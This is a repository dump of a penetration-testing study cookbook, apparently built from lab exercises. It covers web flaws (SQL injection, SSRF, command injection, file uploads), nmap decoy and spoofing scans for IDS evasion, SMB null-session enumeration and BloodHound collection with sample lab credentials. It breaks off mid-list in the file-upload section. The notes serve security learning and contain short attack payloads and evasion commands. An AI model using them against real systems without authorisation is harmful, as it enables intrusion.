├── .gitbook └── assets │ ├── image.png │ ├── image (1).png │ ├── image (2).png │ ├── image (3).png │ ├── image (4).png │ ├── image (5).png │ ├── image (6).png │ ├── image (7).png │ ├── image (8).png │ ├── image (9).png │ ├── image (10).png │ ├── image (11).png │ ├── image (12).png │ ├── image (13).png │ ├── image (1) (1).png │ ├── image (1) (2).png │ ├── image (2) (1).png │ ├── image (3) (1).png │ └── image (1) (1) (1).png ├── assets └── footprinting-methodology.png ├── exploitation ├── web-exploitation │ ├── idor.md │ ├── command-injection.md │ ├── subdomain-enumeration.md │ ├── api.md │ ├── content-discovery-basics.md │ ├── file-inclusion.md │ ├── ssrf.md │ ├── burp-suite.md │ ├── sql-injection.md │ ├── race-conditions.md │ ├── file-uploads.md │ └── xss.md └── active-directory-attacks │ ├── bloodhound.md │ ├── credentials-harvesting.md │ └── lateral-movement-and-pivoting.md ├── information-gathering ├── tools │ └── nmap │ │ ├── host-discovery.md │ │ ├── firewall-and-ids-evasion.md │ │ └── port-scanning.md ├── service-enumeration │ ├── smb.md │ └── ftp.md ├── osint.md └── active-directory-enumeration │ └── enumeration.md ├── SUMMARY.md ├── pre-exploitation └── shells.md └── post-exploitation ├── windows.md └── linux.md /.gitbook/assets/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image.png -------------------------------------------------------------------------------- /.gitbook/assets/image (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (1).png -------------------------------------------------------------------------------- /.gitbook/assets/image (2).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (2).png -------------------------------------------------------------------------------- /.gitbook/assets/image (3).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (3).png -------------------------------------------------------------------------------- /.gitbook/assets/image (4).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (4).png -------------------------------------------------------------------------------- /.gitbook/assets/image (5).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (5).png -------------------------------------------------------------------------------- /.gitbook/assets/image (6).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (6).png -------------------------------------------------------------------------------- /.gitbook/assets/image (7).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (7).png -------------------------------------------------------------------------------- /.gitbook/assets/image (8).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (8).png -------------------------------------------------------------------------------- /.gitbook/assets/image (9).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (9).png -------------------------------------------------------------------------------- /.gitbook/assets/image (10).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (10).png -------------------------------------------------------------------------------- /.gitbook/assets/image (11).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (11).png -------------------------------------------------------------------------------- /.gitbook/assets/image (12).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (12).png -------------------------------------------------------------------------------- /.gitbook/assets/image (13).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (13).png -------------------------------------------------------------------------------- /.gitbook/assets/image (1) (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (1) (1).png -------------------------------------------------------------------------------- /.gitbook/assets/image (1) (2).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (1) (2).png -------------------------------------------------------------------------------- /.gitbook/assets/image (2) (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (2) (1).png -------------------------------------------------------------------------------- /.gitbook/assets/image (3) (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (3) (1).png -------------------------------------------------------------------------------- /assets/footprinting-methodology.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/assets/footprinting-methodology.png -------------------------------------------------------------------------------- /.gitbook/assets/image (1) (1) (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xlaesch/xlaesch-Cookbook/HEAD/.gitbook/assets/image (1) (1) (1).png -------------------------------------------------------------------------------- /exploitation/web-exploitation/idor.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Insecure Direct Object Reference (IDOR) 3 | --- 4 | 5 | # IDOR 6 | 7 | An Access Control vulnerability where a web server uses user-supplied input to retrieve objects and trust this input data too much with a lack of server-side validation. 8 | 9 |
10 | 11 | IDs can be encoded or hashed, but that shouldn't stop an attacker. A common way to check if IDOR exists by creating two accounts and swapping the IDs between the two and seeing if access is still allowed. 12 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/command-injection.md: -------------------------------------------------------------------------------- 1 | # Command Injection 2 | 3 | abuse of app’s behavior to execute commands on the operating system, using the same privileges that the application on a device is running with also known as Remote Code Execution (RCE) 4 | 5 | * possible when programming languages pass data to and to make system calls on the machine’s operating system 6 | * applications that use user input to populate system commands with data can be leveraged 7 | * blind command injection: no direct output from the application when testing payloads, will have to investigate app behavior to determine if successful 8 | * use payloads that cause delay like `ping` or `sleep` the app will hang 9 | * force some output, using redirection operators such as `>` 10 | * `curl` 11 | * verbose command injection: direct feedback once you have tested payload 12 | 13 | Mitigations: 14 | 15 | * avoid using vulnerable functions: `exec` `passthru` `system` 16 | * input sanitisation: remove numerical data or special characters 17 | * [cheat sheet](https://github.com/payloadbox/command-injection-payload-list) 18 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/subdomain-enumeration.md: -------------------------------------------------------------------------------- 1 | # Subdomain Enumeration 2 | 3 | ### Brute Force 4 | 5 | DNS Brute Force by enumerating different subdomains from a list and querying the DNS. 6 | 7 | `dnsrecon` , `Sublist3r` 8 | 9 | ### Virtual Host 10 | 11 | Different websites that are hosted on one single server. So for a given web server IP address we might have numerous websites hosted. By manually setting the `Host` header of every outgoing request to the web server we can enumerate the subdomains. 12 | 13 | `ffuf -w /path/to/your/wordlist.txt -u http://10.10.11.150 -H "Host: FUZZ.example-corp.com" -fc 404,403` 14 | 15 | * `-w`: Specifies the wordlist file. 16 | * `-u`: The target URL (the server's IP). 17 | * `-H`: Sets a custom header. We are modifying the `Host` header. 18 | * `-fc`: Filter (hide) responses with these HTTP status codes. We'll hide common "Not Found" codes like `404` and `403`. 19 | 20 | ### OSINT 21 | 22 | Viewing the Certificate Transparency Logs, a service intended to stop malicious/accident certificates from being used, may reveal some subdomains. Every SSL/TLS certificate created for a domain name is stored there. 23 | 24 | Google Dorking can also reveal subdomains. `site: filter` works with wildcard `*` 25 | -------------------------------------------------------------------------------- /information-gathering/tools/nmap/host-discovery.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 3 | --- 4 | # Theory 5 | To conduct a penetration test we have to get an overview of which systems are online, and which ones we can work with. 6 | 7 | Some options during scanning can have advantages: 8 | * **Disable DNS Resolution** saves time by skipping reverse DNS lookups 9 | * **Disable ARP Ping** is better because ARP is local-only, if you're scanning across routers ARP won't work. 10 | * **Disable ICMP echo requests** is better for evasion because modern networks will block or alert on ICMP. 11 | 12 | --- 13 | 14 | # Practice 15 | ```shell 16 | # scan a target network range without scanning ports (-sn) and storing the result in all formats starting with the name 'tnet' 17 | sudo nmap $HOST/24 -sn -oA tnet | grep for | cut -d" " -f5 18 | 19 | # perform host discovery on a predefined list 20 | sudo nmap -sn -oA tnet -iL hosts.lst | grep for | cut -d" " -f5 21 | 22 | # check whether a single IP is alive using ICMP echo requests (-PE) and packet tracing for more verbose output 23 | sudo nmap $HOST -sn -oA host -PE --packet-trace 24 | 25 | # check whether a single IP is alive without using ARP pings 26 | sudo nmap $HOST -sn -oA host -PE --packet-trace --disable-arp-ping 27 | ``` -------------------------------------------------------------------------------- /exploitation/web-exploitation/api.md: -------------------------------------------------------------------------------- 1 | # API 2 | 3 | #### Broken Object Level Authorization (BOLA) 4 | 5 | An IDOR where the user uses the input functionality and gets access to the resources they are not authorized to access (lack of Authorization Tokens in headers) 6 | 7 | #### Broken User Authentication (BUA) 8 | 9 | An API endpoint allows an attacker to access a database or acquire a higher privilege than the existing one through lack of authorization logic (e.g. does not check password) 10 | 11 | #### Excessive Data Exposure 12 | 13 | When applications disclose more than desired information through an API response, can lead to extracting confidential information. 14 | 15 | #### Lack of Resources & Rate Limiting 16 | 17 | APIs do not enforce any restriction on the frequency of clients requesting resources or the files' size. Can be used to ensure non-availablity of service for an organization. 18 | 19 | #### Broken Function Level Authorization 20 | 21 | When a low privileged user gets access to confidential data by impersonating a high privileged user (Admin). 22 | 23 | #### Methodology 24 | 25 | * **API Recon.** Identify all the endpoints (what input data the API processes, the types of requests the API accepts.). Can also be done through API documentation even if not available publicly with certain endpoints. By crawling the application we can also uncover hidden API endpoints (sometimes in JS files too). 26 | -------------------------------------------------------------------------------- /information-gathering/service-enumeration/smb.md: -------------------------------------------------------------------------------- 1 | # Theory 2 | 3 | Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources like printers, etc. SMB uses TCP to establish a connection from both and govern the transport of data. SMB server is comprised of shares, which can be configured to accept different access rights defined by Access Control List (ACL). 4 | 5 | Samba is the Unix-based implementation of SMB. 6 | 7 | --- 8 | # Practice 9 | 10 | ```shell 11 | # listing server shares (-L) with a null session (-N) 12 | smbclient -N -L //$HOST 13 | 14 | # connecting to a share 15 | smbclient //$HOST/$SHARE 16 | 17 | # from the administrative POV, we can check connections 18 | smbstatus 19 | ``` 20 | ### Useful Scripts 21 | ```shell 22 | # Brute forcing RIDs via Impacket script 23 | impacket-samrdump $HOST 24 | 25 | # share enumeration via smbmap 26 | smbmap -H $HOST 27 | 28 | # share enumeration via crackmapexec 29 | crackmapexec smb $HOST --shares -u '' -p '' 30 | 31 | # full enumeration script 32 | enum4linux-ng $HOST -A 33 | ``` 34 | ### RPCClient 35 | ```shell 36 | # rpcclient null session 37 | rpcclient -U "" $HOST 38 | 39 | # rpcclient server enumeration 40 | srvinfo 41 | enumdomains 42 | querydominfo 43 | netshareenumall 44 | netsharegetinfo $SHARE 45 | 46 | # rpcclient user enumeration 47 | enumdomusers 48 | queryuser $RID 49 | ``` 50 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/content-discovery-basics.md: -------------------------------------------------------------------------------- 1 | # Content Discovery Basics 2 | 3 | ### Browser Tools 4 | 5 | * **View Page Source**: allows visibility of comments, directory (if allowed), and frameworks (sometimes). 6 | * **Inspector**: changing HTML, CSS and JS in real time. 7 | * **Debugger:** Breakpoints can be used to force the browser to stop processing JS and pause execution. 8 | * **Network:** viewed sent and received network data in the web application. 9 | 10 | 11 | 12 | ### Other Methods 13 | 14 | #### Robots.txt: 15 | 16 | A file in the web application used to tell search engines which websites to show an not. Can give indications of important hidden websites or content. 17 | 18 | #### Favicon: 19 | 20 | Can give indications of what framework is being used if the website is poorly maintained. 21 | 22 | #### Sitemap.xml: 23 | 24 | A file in the web application that lists every file the websites owner wants to show on a search engine. 25 | 26 | #### HTTP Headers: 27 | 28 | May contain the webservers software or scripting language in use. Accessible by running `curl -v ADDRESS` 29 | 30 | #### Extensions and Websites: 31 | 32 | * Google Dorking: manipulating search parameters to find hidden pages. 33 | * Wappalyzer (Extension): shows technologies of website. 34 | * Wayback Machine: find old websites that may still be active. 35 | * S3 Buckets (AWS storage service): can reveal information if permissions aren't properly set. 36 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/file-inclusion.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | A vulnerability mainly in the input validation that allows leaked data to be 4 | accessed. 5 | --- 6 | 7 | # File Inclusion 8 | 9 | ## Local File Inclusion (LFI) 10 | 11 | The ability to access files from the local filesystem. Typically through the use of dangerous PHP functions `include`,`require`,`include_once`,`require_once` 12 | 13 | #### Input Validation Bypasses 14 | 15 | * In PHP <5.34, we could include the null byte (`%00`)character to tell the PHP code to ignore the characters that followed. 16 | * We can also bypass PHP filters by craftring a blacklisted string that when sanitized reveals a second, identical blacklisted string. This is because some PHP sanitization functions aren't recursive, so they just scan left to right. 17 | * PHP filters might only act on specific request types if `$_REQUEST` is being used. So changing the request type to `POST`,`GET`,`COOKIE` might bypass filtering. 18 | 19 | #### Directory Traversal 20 | 21 | When user input is passed to a function that reads the directory. We can use `..` to move up the directory. Check [#useful-file-locations](linux.md#useful-file-locations "mention") to view relevant file locations. 22 | 23 | ## Remote File Inclusion (RFI) 24 | 25 | The ability to include remote files into a vulnerable application. 26 | 27 | #### Techniques 28 | 29 | * Injecting an external URL into the `include` function with `allow_url_fopen` `on` can allow an attack to set up an HTTP server and serve a PHP payload that will be run by the PHP server. 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/ssrf.md: -------------------------------------------------------------------------------- 1 | # SSRF 2 | 3 | ⇒ Server-Side Request Forgery, vuln that allows webserver to make additional or edited HTTP request to resource of attacker’s choosing 4 | 5 | * regular SSRF: data returned to attacker’s screen 6 | * Blind SSRF: no information returned to attacker’s screen 7 | * Manipulating the api request parameters with an empty parameter (e.g. `?x=` ⇒ x param does not exist in API and is therefore ignored) can give information that wasn’t usually available. 8 | * changing the api url can reveal what API keys were being sent 9 | 10 | SSRF can be found when: 11 | 12 | * when a full URL is used in a param in the address bar 13 | * hidden field in a form 14 | * partial URL such as just the hostname or only the path to the URL 15 | 16 |
17 | 18 | Defeating common SSRF defenses: 19 | 20 | * **Deny list:** requests are all accepted except resources/IPs that are part of a list or matching a pattern (e.g. restrict endpoint access to the [localhost](http://localhost) because it contains administrative/performance data ⇒ usually `127.0.0.1` ) 21 | * use alternative localhost references such as `0` , `0.0.0.0` , or `127.*.*.*` 22 | * subdomains that have a DNS records which resolves to the [localhost](http://localhost) such `127.0.0.1.nip.io` 23 | * **Allow List:** all requests denied unless they appear on a list or match pattern (e.g. URL must begin with [http://website.thm](http://website.thm) 24 | * can be bypassed with a subdomain 25 | * **Open Redirect:** endpoint on the server where the website visitor gets redirected to another website 26 | * can redirect HTTP requests to an attacker’s domain 27 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Table of contents 2 | 3 | * [Red Teaming](principles-of-red-teaming.md) 4 | * [Principles of Security](principles-of-security.md) 5 | * [Principles of Networks](principles-of-networks.md) 6 | * [Principles of Identity](principles-of-identity.md) 7 | * [Principles of Windows](principles-of-windows.md) 8 | * [Principles of Linux](principles-of-linux.md) 9 | 10 | ## Footprinting 11 | 12 | * [Enumeration Methodology](footprinting/enumeration-methodology.md) 13 | 14 | ## Reconnaissance 15 | 16 | * [OSINT](osint.md) 17 | * [Host Discovery](host-discovery.md) 18 | * [Port Scanning](port-scanning.md) 19 | * [Firewall and IDS Evasion](firewall-and-ids-evasion.md) 20 | * Services 21 | * [FTP](ftp.md) 22 | * [SMB](smb.md) 23 | 24 | ## Exploitation 25 | 26 | * [Windows](exploitation/windows/README.md) 27 | * [Active Directory Enumeration](enumeration.md) 28 | * [Linux](exploitation/linux.md) 29 | 30 | ## Privilege Escalation 31 | 32 | * [Shells](shells.md) 33 | * [Linux](linux.md) 34 | * [Windows](windows.md) 35 | 36 | ## Active Directory 37 | 38 | * [Credentials Harvesting](credentials-harvesting.md) 39 | * [Lateral Movement and Pivoting](lateral-movement-and-pivoting.md) 40 | * [BloodHound](bloodhound.md) 41 | 42 | ## LLM 43 | 44 | * [Prompt Injection](prompt-injection.md) 45 | 46 | ## Web Hacking 47 | 48 | * [File Uploads](file-uploads.md) 49 | * [API](api.md) 50 | * [Content Discovery Basics](content-discovery-basics.md) 51 | * [Subdomain Enumeration](subdomain-enumeration.md) 52 | * [SQL Injection](sql-injection.md) 53 | * [IDOR](idor.md) 54 | * [File Inclusion](file-inclusion.md) 55 | * [SSRF](ssrf.md) 56 | * [XSS](xss.md) 57 | * [Race Conditions](race-conditions.md) 58 | * [Command Injection](command-injection.md) 59 | * [Burp Suite](burp-suite.md) 60 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/burp-suite.md: -------------------------------------------------------------------------------- 1 | # Burp Suite 2 | 3 | #### Intruder 4 | 5 | automated request manipulation and enables tasks such as fuzzing (⇒process of testing functionality or existence by applying a set of data to a parameter) and brute-forcing 6 | 7 | * **Positions:** select attack type 8 | * positions highlighted in green and enclosed by `§` 9 | * **Payloads:** values to insert into positions defined, allow for suffix/prefix, match and replace… 10 | * **Resource Pool:** resource allocation for Burp Professional 11 | * **Settings:** how burp handles results and the attacks itself 12 | * if a session cookie is set (meaning a same session cannot be used twice) and changed every time the website is refreshed we need to use **Burp Macros** 13 | 14 | Attack Types: 15 | 16 | * Sniper: cycles through payloads, inserting one payload at a time into each position ⇒ linear 17 | * Battering Ram: sends all payloads simultaneously, each payload inserted into its respective position ⇒ good for race conditions 18 | * Pitchfork: simultaneous testing of multiple positions with different payloads ⇒ define multiple payload sets each associated with a specific position ⇒ good for testing parameters that need seperate testing 19 | * Cluster Bomb: combines Sniper and Pitchfork 20 | 21 | #### Decoder and Comparer and Organizer (annotating) both do exactly what you think 22 | 23 | #### Sequencer: 24 | 25 | evaluate entropy or randomness of tokens (⇒ strings used to identify something and should be generated in a cryptographically secure manner), if not generated securely we could predict upcoming token values 26 | 27 | * Live Capture: pass a request that will generate a token to sequencer for analysis 28 | * Manual Load: list of pre-generated tokens samples directly into Sequencer 29 | -------------------------------------------------------------------------------- /information-gathering/tools/nmap/firewall-and-ids-evasion.md: -------------------------------------------------------------------------------- 1 | # Theory 2 | 3 | When a port is shown as `filtered` , packets can be `dropped` where they are just ignored, and no response is returned from the host. They can also be `rejected`, where TCP packets are returned with an RST flag. 4 | 5 | The detection of IDS/IPS systems is difficult because these are passive traffic monitoring systems. We should use several virtual private servers (VPS) to determine the existence of such systems, because if the administrator detects a potential attack, the first step is to block th IP address from which the potential attack comes. If we scan from a single host (VPS) and at any time that host is blocked and has no access to the target network, we know that the administrator has taken some security measures. 6 | 7 | With **Decoys**, we can bypass blocked specific subnets. `nmap` generates random IP address inserted into the IP header to disguise the origin of the packet sent. Spoofed packets will often be filtered out by ISPs and routers. 8 | 9 | **DNS Proxying** can be helpful because the company's DNS servers are usually more trusted than those from the Internet. We could use those servers to interact hosts of the internal network. We can also do this by changing the source port of our scans, because some firewalls will permit traffic that appears from trusted ports so our TCP packet will be trusted and passed through. Only useful if we are within the DMZ. 10 | 11 | --- 12 | 13 | # Practice 14 | 15 | ```shell 16 | # SYN scan using 5 random IP address decoys (-D RND:5) 17 | sudo nmap $HOST -p $PORT -sS -D RND:5 18 | 19 | # scan using different source IP address (-S IP) through a specified interface 20 | sudo nmap $HOST -p $PORT -S 10.129.2.200 -e tun0 21 | 22 | # SYN scan from a DNS port (53) (using --source-port) 23 | sudo nmap $PORT -p $PORT -sS --source-port 53 24 | ``` -------------------------------------------------------------------------------- /exploitation/active-directory-attacks/bloodhound.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Open-source tool used to analyze Active Directory environments by revealing 4 | hidden relationships and identifying potential attack paths. 5 | --- 6 | 7 | # BloodHound 8 | 9 | Operates on a two stage attack model 10 | 11 | 1. Enumeration: deploy a data collection (Sharphound, `bloodhound-python`) to gather information about AD structure 12 | 2. Target Attack: load collected offline data to identify efficient paths to find the goal. 13 | 14 | Methodolohy: 15 | 16 | 1. Run data collector 17 | 2. Upload data in administration section 18 | 3. Query the explore page to view relationships, specifically the **Pathfindin**g section. if a path exists, Bloodhound will map it out 19 | 20 | ## Data Collectors 21 | 22 | Tool that collects group memberships, session data, access control lists (ACLs), domain trusts, and privileged relationships. May trigger security alerts so to minimize detection we should 23 | 24 | * `--ExcludeDCs` by limiting interactions with sensitive systems. 25 | * Run collectors on AV excluded or non-domain-joined machines using the `runas` command with `/netonly` to authenticate without joining domain 26 | * `runas /netonly /user:DOMAIN\username cmd.exe` launches a process pretending to be that user only for network authentication, not locally. The launched process (e.g., cmd.exe) still runs under your local machine's context, but when it makes network requests, it uses the provided domain credentials. 27 | 28 | ### Sharphound 29 | 30 | Used on Windows systems. 31 | 32 | `.\SharpHound.exe --CollectionMethods All --Domain tryhackme.loc --ExcludeDCs` 33 | 34 | ### Bloodhound-python 35 | 36 | Used on Linux. Helpful when you don't have a domain-joined Windows machine. 37 | 38 | `bloodhound-python -u asrepuser1 -p qwerty123! -d tryhackme.loc -ns 10.211.12.10 -c All --zip` 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/sql-injection.md: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | user-provided data gets included in the SQL query 4 | 5 | * `;--` ⇒ end of the SQL statement and the two dashes cause everything afterwards to be treated as a comment 6 | * e.g. using `'or 1=1--` will make the database return true if there is no input validation 7 | * e.g. using it in after an email for instance will make the rest be a comment and if the email is valid the DB will return true 8 | * In-Band: the same method of communicating being used to exploit the vulnerability and also receive results 9 | * Error-Based: most useful for obtaining info about database structure, error messages from the database are printed directly to the browser screen ⇒ enumerate whole database 10 | * use certain characters until an error message is produced ⇒ single aprostrophes or quotation marks 11 | * Union-Based: utilises the SQL UNION operator with SELECT to return additional results to the page 12 | * UNION statement combines two or more SELECT statements to retrieve data from either single or multiple tables ⇒ must retrieve the same number of columns in each SELECT statement, similar data type and column order has to be the same 13 | * `SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;` 14 | * Blind: can’t know if injected queries were successful, error messages disabled 15 | * authentication bypass: login forms that are connected to a database are developed to see if there is matching pair in the users table (is there a user with the username bob and the password bob123?) 16 | * we don’t need to enumerate, just create a database query that replies with a yes/true 17 | * Boolean Based: response we receive from our injection attemps ⇒ true/false, confirms that our payload was successful or not 18 | * goal is to enumerate the table to find all of its contents 19 | * Time-Based: instead of a boolean we check the time it takes for a query to complete, `SLEEP (x)` will only get executed upon a successful UNION SELECT 20 | * app will hang 21 | * Out-of-Band: depends on features enabled on database server or business logic, 2 communication channels, attack channel is a web request and the data gathering could be monitoring HTTP/DNS requests of service I control 22 | -------------------------------------------------------------------------------- /exploitation/web-exploitation/race-conditions.md: -------------------------------------------------------------------------------- 1 | # Race Conditions 2 | 3 | race condition is a situation where the timing of events influences the behavior and outcome of the program ⇒ usually when a variable gets accessed and modified by multiple threads, and due to lack of proper lock mechanisms and sync between threads attackers can leverage 4 | 5 | * A thread is a lightweight unit of execution, it shares various memory parts and instructions with the process (**difference between software threads and hardware threads, software threads are in the 1000s while hardware is anywhere from 16-32+, OS handles software thread execution/CPU time to use the more limited hardware threads)** 6 | * Serial: one process is running, it servers one user after the other sequentially, new users are enqueued 7 | * Parallel: one process is running, it creates a thread to server every new user, new users are only enqueued after the maximum number of running threads is reached 8 | * Common cause of race conditions is shared resources, when multiple threads concurrently access and modify data 9 | * Parallel Execution: web server execute multiple request in parallel to handle concurrent user interactions, if they access resources shared without sync ⇒ race conditions 10 | * Database Operations: concurrent database operation, such as read-modify-write sequences can introduce race conditions 11 | * 3rd party library and services: if these 3rd party don’t handle concurrent access properly, race conditions introduced 12 | 13 | Typical Web Application Architecture: 14 | 15 | * presentation tier: in web apps, consists of browser on the client side ⇒ JS, HTML, CSS 16 | * application tier: business logic and functionality, receives client requests, processes them, and interacts with the data tier ⇒ node.js, php 17 | * data tier: sotring and manipulating the app data ⇒ SQL 18 | * must leverage the “window of opportunity” in which no check is made to accept something repeatedly ⇒ requires good timing so that requests reach server simultaneaously] 19 | 20 | How to do with Burp: 21 | 22 | 1. Explore/Study how web app received HTTP Requests (view HTTP history tab) 23 | 2. Find POST request with transaction (or whatever race condition) 24 | 3. Send to Repeater (right click) 25 | 4. Create tab group for request, rick clight on the tab and duplicate x times 26 | 5. Sending Request group 27 | 1. in sequence: 28 | 1. single connection: useful for potential client-side desync vulnerabilities 29 | 2. separate connections: opens TCP connection, sends request from the group, closes TCP connection, and repeats for all requests 30 | 2. in parallel: send all requests at once, when sending in parallel, repeater uses different techniques to sync the requests’ arrival at the target depending on HTTP protocol being used 31 | -------------------------------------------------------------------------------- /information-gathering/osint.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Gather information about target systems using publicly available knowledge 4 | without directly engaging with the target. 5 | --- 6 | # Theory 7 | 8 | ## Domain Information 9 | 10 | When passively gathering information, we can use third-party services to understand our target better. The main website is oftentimes what should be scrutinized first. Inspecting the SSL certificate for the target domain can expose sibling subdomains that share the same certificate, and cross-referencing Certificate Transparency logs on [crt.sh](https://crt.sh/) helps surface newly issued certificates for related hosts. Tools such as [Shodan](https://www.shodan.io/) enumerate Internet-facing systems by scanning for open TCP/IP ports, letting us map exposed services quickly. 11 | 12 | Reviewing DNS records complements these efforts by enumerating hostnames and revealing how the organization structures its public presence. Several records exist 13 | * `A` records: the IP addresses that point to specific (sub)domain. 14 | * `MX` records: The mail server records show us which mail server is responsible for managing the email for the company. 15 | * `NS` records: show which name servers are used to resolve the FQDN to IP addresses = 16 | * `TXT` records: this type of record often contains verification keys for different 3rd party providers or other security features. 17 | 18 | ### Cloud Resources 19 | 20 | Cloud resources can be vulnerable if configured improperly. Often cloud storage is added to the DNS list when used for administrative purposes (for easier access by employees). 21 | 22 | ## Staff 23 | 24 | Discovering employees on social media platforms can reveal a lot about what technologies are being used based on their skillset. 25 | 26 | --- 27 | # Practice 28 | 29 | ## Domain Information 30 | 31 | ```shell 32 | # output results in json format 33 | curl -s https://crt.sh/\?q\=$DOMAIN\&output\=json | jq . 34 | 35 | # filter by subdomain 36 | curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u 37 | 38 | # from that subdomain list we can generate a list of IP addresses 39 | for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done 40 | 41 | # from an IP list query Shodan for more info 42 | for i in $(cat ip-addresses.txt);do shodan host $i;done 43 | 44 | # 45 | dig any $DOMAIN 46 | ``` 47 | 48 | ## Cloud Resources 49 | 50 | * Google Dorking is effective for this. Using search parameters such as `inurl:` and `intext:` can reveal files that are publicly accessible. 51 | * [domain.glass](https://domain.glass/) can also tell us about the company's infrastructure. 52 | * [GrayHatWarfare](https://buckets.grayhatwarfare.com/)is can also passively find files on a given cloud storage. -------------------------------------------------------------------------------- /exploitation/web-exploitation/file-uploads.md: -------------------------------------------------------------------------------- 1 | # File Uploads 2 | 3 | ### File Upload Attack Methodology 4 | 5 | 1. Initial Recon 6 | * Analyze the site structure and technologies (e.g., Wappalyzer, Burp headers). 7 | * Identify upload functionality. 8 | 2. Client-Side Checks 9 | * Review source/JavaScript for upload restrictions. 10 | * Test by uploading a harmless file. 11 | 3. File Handling Discovery 12 | * Locate where/how uploaded files are stored (direct URL, embedded, renamed). 13 | * Use Gobuster (-x for extensions) to brute-force hidden locations. 14 | 4. Baseline Upload 15 | * Confirm accepted file behavior to use as a control sample. 16 | 5. Attempt Malicious Upload 17 | * Upload a payload, bypassing client-side filters. 18 | * Observe server error messages for clues. 19 | 6. Identify Server-Side Filtering 20 | * Extension filter: Try nonsense extensions → whitelist vs. blacklist. 21 | * Magic number filter: Modify file signature. 22 | * MIME filter: Change Content-Type in Burp. 23 | * File size filter: Upload progressively larger files. 24 | 7. Exploit Path 25 | * Use insights from filter tests to craft a valid bypass payload. 26 | * Deploy reverse shell/webshell if possible 27 | 28 | #### Remote Code Execution 29 | 30 | Usually achieved via low-privileged account (`www-data` in Linux) and with the same language as is being used for the backend of the website. We are looking to upload some sort of shell, either a webshell or reverse/bind shell. 31 | 32 | #### Overwriting Existing Files 33 | 34 | If file permissions are poorly set or no additional checks are made (very rare), you can upload a file and overwrite existing files on the disk. 35 | 36 | ### Filtering Types 37 | 38 | #### Extension Validation 39 | 40 | Extensions are used to identify the contents of a file. Filters that check for extensions either use blacklist extensions (extensions that are not allowed) or whitelist extensions. 41 | 42 | #### File Type Filtering 43 | 44 | More intensive than the aformentioned using: 45 | 46 | * Multipurpose Internet Maild Extension (MIME) validation used as identifier for files. Transfered over mail and HTTP(S) protocols. 47 | * Magic Number Validation is a string of bytes at the very beginning of the file content that allows you to identify the content. Usually done with Unix systems. Not possible to fake. 48 | 49 | #### File Length Filtering 50 | 51 | Prevent huge files form being uploaded. 52 | 53 | #### File Name Filtering 54 | 55 | Usually involves adding a random string of characters at the end of a filename to ensure no duplicate files and/or sanitizing the name to remove "bad characters" (e.g. null bytes). 56 | 57 | #### File Content Filtering 58 | 59 | Involves scanning the conents of a file before uploading. 60 | 61 | ### Bypassing Filtering 62 | 63 | #### Client-Side Filtering 64 | 65 | There are four easy ways to bypass this type of filtering: 66 | 67 | 1. Blocking Javascript completely bypasses the client-side filtering. 68 | 2. Intercept and modify the incoming page using Burp Suite to remove Javascript filter. 69 | 3. Intercept and modify the file upload. 70 | 4. 